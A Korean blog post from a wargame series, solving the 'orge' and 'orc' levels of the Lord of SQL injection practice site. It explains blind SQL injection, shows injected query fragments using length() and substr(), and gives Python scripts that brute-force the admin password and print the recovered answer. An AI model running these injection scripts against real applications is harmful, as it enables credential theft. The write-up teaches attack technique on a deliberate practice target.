controlpro

Lord of SQL injection orc , orge 본문

Webhacking/Lord of SQL injection

Lord of SQL injection orc , orge

controlpro 2020. 12. 3. 20:47
728x90

두 문제를 동시에 리뷰 하겠다. 사실 요 문제들은 둘이 똑같은 거기 때문에 검열하는 단어만이 다른 이야기다. 

 

두문제다 Blind sql injection을 다룬 문제이다. 

 

Blind injection이란?

- 서버가 사용자에게 보내는 반응을 이용해서 참인지 거짓인지 판단해서 공격하는 기법

 

일단 문제를 보자(orge문제로 리뷰하겠다.)

 

문제는 다음과 같다. 마지막 답을 알아내기 위한 코드를 보면 우리가 입력한 pw와 서버에 있는 pw가 일치 해야 solve("orge") 함수를 실행 시킬 수 있다. 

 

그러면 PW는 어떻게 유도 해야하는 걸까? 

우리가 pw에 아무거나 입력을 하면 서버는 어떠한 반응도 오지 않는 데

select id from prob_orge where id='guest' and pw='' || '1' = '1'

다음과 같은 query문을 입력하면 서버는 Hello guest라는 반응을 보여준다. 여기서 Blind injection이 사용되는 것이다. 내가 참인 쿼리문과 거짓은 쿼리문이 다를 때 문자를 계속보내면서 유추할 수 있다 .

 

STEP 1. 비밀번호 길이 알아내기.

비밀 번호를 알아내기 위해서는 id='guest' and pw=''  이부분은 알아낼 수 없으니까 무조건 거짓으로 만들고 ||를 이용해서 반대쪽을 참으로 만들어서 유추할 것이다. 

select id from prob_orge where id='guest' and pw='' || id = 'admin' && length(pw) = '(비밀번호 길이)'

이런 식으로 입력을 하면 admin의 pw길이를 유추할 수 있다. id='guest' and pw='' 이 부분은 무조건 거짓일테고 나머지 부분을 참으로 만들어야 한다. 노다가는 싫으므로 코드를 짰다. 

import requests

for j in range(1, 10):

    url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' || id = 'admin'" + " %26" + "%26 " + "length(pw) = " + str(j) + "%23"
    r=requests.post(url, cookies=(dict(PHPSESSID = "glrhtcjtq5k4u8vmop4pnb8dbj")))
    print(url)
    if  'Hello admin' in r.text:
        print("I found!")
        print("length = " + str(j))
        break

이러면 길이는 8이 나오고 다음 step으로 넘어가자 

 

STEP 2. 비밀번호 알아내기!

비밀번호도 똑같은 데 다음 substr이라는 함수를 사용하자

 

substr(string , 시작점 ,  몇글자 ) ex) substr(example , 3 , 2)  = am

 

select id from prob_orge where id='guest' and pw='' || id = 'admin' && substr(pw,유추할 자리,1)='(유추할 글자)'

다음과 같이 입력을 해주면 만약 우리가 유추할 자리의 유추한 글자가 맞다면 참이되고 서버는 hello admin를 뱉을 것이다. 와! 

그러면 위의 코드를 이용해서 password를 풀러가보자! 

 

import requests
password = "" 

for j in range(1, 9):
	r= 0
	for i in range(48,91):
		url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=' || id = 'admin'" + " %26" + "%26 " + "substr(pw," +str(j) + ",1)='" + chr(i) 
		r=requests.post(url, cookies=(dict(PHPSESSID = "본인 PHPSESSID")))
		print(url)
		print (str(j) +"번째 찾는중 : " + chr(i))
		if 'Hello admin' in r.text:
			print("I Found!")
			password += chr(i)
			print("[+]Password :" + password)
			break

다음과 같이 짰다. 

 

실행시키면? 7b751aec

 

???????본인 PHPSESSION???????????

- 왜이거 아무도 안써줄까... EditThisCookie 다운 받으면 크롬 윗쪽에 쿠키 모양 나오는데, 그거 클릭하면 나온다.

 

728x90
반응형

'Webhacking > Lord of SQL injection' 카테고리의 다른 글

Lord of SQL injection darkelf  (0) 2020.12.03
Lord of SQL injection wolfman  (0) 2020.12.03
Lord of SQL injection goblin  (0) 2020.12.03
Lord of SQL injection gremlin  (0) 2020.12.03